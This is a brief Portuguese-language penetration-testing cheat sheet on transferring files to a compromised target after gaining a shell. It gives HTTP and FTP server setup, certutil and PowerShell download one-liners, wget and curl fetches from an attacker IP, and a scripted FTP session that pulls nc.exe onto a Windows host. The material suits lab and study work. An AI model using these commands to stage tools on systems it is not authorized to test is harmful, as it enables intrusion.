Transferência de arquivos

Quando conseguimos ganhar uma shell no alvo, algumas vezes vamos precisar transferir algum arquivo/programa para essa máquina. Existem alguns jeitos de fazer isso.

Web

Para subir um servidor web na nossa máquina para ser acessado no alvo.

python3 -m http.server 8080

Em ambiente windows podemos utilizar o powershell ou certutil.

powershell.exe wget http://<ip>/file.exe -OutFile file.exe
certutil.exe -urlcache -f http://<ip>/<arq> <arq.exe>

Ou

certutil -urlcache -split -f "http://<ip>/<arq>.exe" nc.exe

Em ambiente linux podemos utilizar o wget e curl.

wget http://<ip>/file.exe -O /tmp/file.exe
curl http://<ip>/file.exe -o file.exe

FTP

Podemos subir um servidor ftp usando o python para transferir arquivos, para isso precisamos instalar antes.

pip install pyftpdlib
python3 -m pyftpdlib -p 21 --write

Já na máquina alvo e com acesso a shell, iremos escrever um arquivo para conectar no ftp, caso a shell seja não interativa.

C:\> echo open <ip-ftp> > ftp.txt
C:\> echo USER anonymous >> ftp.txt
C:\> echo PASS anonymous >> ftp.txt
C:\> echo bin >> ftp.txt
C:\> echo GET <arquivo-para-baixar> >> ftp.txt
C:\> echo QUIT >> ftp.txt

C:\> type ftp.txt
type ftp.txt
open 192.168.2.107
USER anonymous
PASS anonymous
bin
GET nc.exe
QUIT

Agora, vamos utilizar o utilitário do ftp para ler o arquivo.

C:\> ftp -v -n -s:ftp.txt

Com isso, nos autenticamos e conseguimos baixar o arquivo.

Last updated